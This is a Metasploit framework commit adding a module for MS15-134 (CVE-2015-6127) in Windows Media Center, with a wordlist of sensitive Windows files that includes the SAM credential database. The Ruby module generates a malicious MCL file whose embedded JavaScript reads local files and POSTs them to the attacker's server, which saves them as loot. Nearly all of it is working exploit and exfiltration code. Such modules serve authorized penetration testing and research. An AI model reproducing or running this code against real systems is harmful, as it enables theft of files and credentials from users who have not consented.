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Add MS15-134 Microsoft Windows Media Center MCL Information Disclosure
CVE-2015-6127
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wchen-r7
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5f5b3ec6a1
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boot.ini
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config.sys
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autoexec.bat
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Windows\system32\drivers\etc\hosts
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winnt\system32\drivers\etc\hosts
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Windows\system32\config\SAM
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winnt\system32\config\SAM
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C:\boot.ini
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C:\config.sys
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C:\autoexec.bat
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C:\Windows\system32\drivers\etc\hosts
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C:\winnt\system32\drivers\etc\hosts
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C:\Windows\system32\config\SAM
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C:\winnt\system32\config\SAM
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170
modules/auxiliary/server/ms15_134_mcl_leak.rb
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170
modules/auxiliary/server/ms15_134_mcl_leak.rb
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'cgi'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MS15-134 Microsoft Windows Media Center MCL Information Disclosure',
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'Description' => %q{
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This module exploits a vulnerability found in Windows Media Center. It allows an MCL
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file to render itself as a HTML document in the local machine zone by Internet Explorer,
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which can be used to leak files on the target machine.
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},
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'Author' =>
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[
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'Francisco Falcon', # Vuln discovery & PoCs & Detailed write-ups & awesomeness
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'sinn3r'
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],
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'References' =>
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[
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['CVE', '2015-6127'],
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['MSB', 'MS15-134'],
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['URL', 'https://blog.coresecurity.com/2015/12/09/exploiting-windows-media-center/'],
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['URL', 'http://www.coresecurity.com/advisories/microsoft-windows-media-center-link-file-incorrectly-resolved-reference']
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],
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'License' => MSF_LICENSE,
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'DisclosureDate' => "Dec 8 2015",
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))
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register_options(
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[
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OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']),
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OptPath.new('FILES', [true, 'Files you wish to download', ::File.join(Msf::Config.data_directory, 'wordlists', 'sensitive_files_win.txt')])
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], self.class)
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end
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def receiver_page
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@receiver_page_name ||= Rex::Text.rand_text_alpha(5)
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end
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def js
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%Q|
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function sendFile(fname, data) {
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var xmlHttp = new XMLHttpRequest();
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if (!xmlHttp) { return 0; }
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xmlHttp.open('POST', '#{get_uri}/#{receiver_page}', true);
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xmlHttp.setRequestHeader('Content-type', 'multipart/form-data');
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xmlHttp.setRequestHeader('Connection', 'close');
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var body = 'fname=' + encodeURIComponent(fname) + '&data=' + data.toString();
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xmlHttp.send(body);
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}
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function getFile(fname) {
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var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
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xmlHttp.open('GET', fname, false);
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xmlHttp.send();
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return xmlHttp.responseBody.toArray();
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}
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var files = [#{load_file_paths * ","}];
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for (var i=0; i < files.length; i++) {
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try {
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var data = getFile('file:///' + files[i]);
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sendFile(files[i], data);
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} catch (e) {}
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}
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end
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def generate_mcl
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%Q|<application url="msf.mcl">
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<html>
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<head>
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<meta http-equiv="x-ua-compatible" content="IE-edge">
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</head>
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<body>
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<script type="text/javascript">
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#{js}
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</script>
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</body>
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</html>
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</application>
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end
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def load_file_paths
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@files ||= lambda {
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buf = ''
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::File.open(datastore['FILES'], 'rb') do |f|
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buf = f.read
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end
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buf.split.map { |n| "\"#{n.gsub!(/\\/, '/')}\"" }
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}.call
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end
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def run
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exploit
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end
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def start_service(opts = {})
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super
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print_status("Generating #{datastore['FILENAME']}...")
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mcl = generate_mcl
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file_create(mcl)
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print_status("Pass #{datastore['FILENAME']} to the target you wish to exploit.")
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print_status("When the MCL is executed, it should start sending data (files) back")
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print_status("back to our web server.")
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end
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def is_ie?(request)
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fp = fingerprint_user_agent(request.headers['User-Agent'])
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fp[:ua_name] == HttpClients::IE
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end
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def parse_data(data)
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buf = ''
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data.scan(/\d+/).each do |n|
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buf << n.to_i.chr
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end
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buf
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end
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def parse_body(body)
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params = CGI::parse(body)
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{
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fname: ::File.basename(params['fname'].first),
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data: parse_data(params['data'].first)
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}
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end
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def on_request_uri(cli, request)
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unless is_ie?(request)
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print_error('Client is not Internet Explorer.')
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send_not_found(cli)
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return
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end
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unless /#{receiver_page}/i === request.uri
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print_error("Unknown request: #{request.uri}")
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send_not_found(cli)
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return
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end
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buff = ''
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print_status("Receiving data...")
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file = parse_body(request.body.to_s)
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p = store_loot('mcl.file', 'application/octet-stream', cli.peerhost, file[:data], file[:fname])
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print_good("#{file[:fname]} saved as: #{p}")
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# If you are kind of lazy to open the saved files, and just sort of want to see the data,
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# here you go (handy for debugging purposes, but against a larger network this is probably
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# too much info)
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vprint_status("File collected: #{file[:fname]}\n\n#{Rex::Text.to_hex_dump(file[:data])}")
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end
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end
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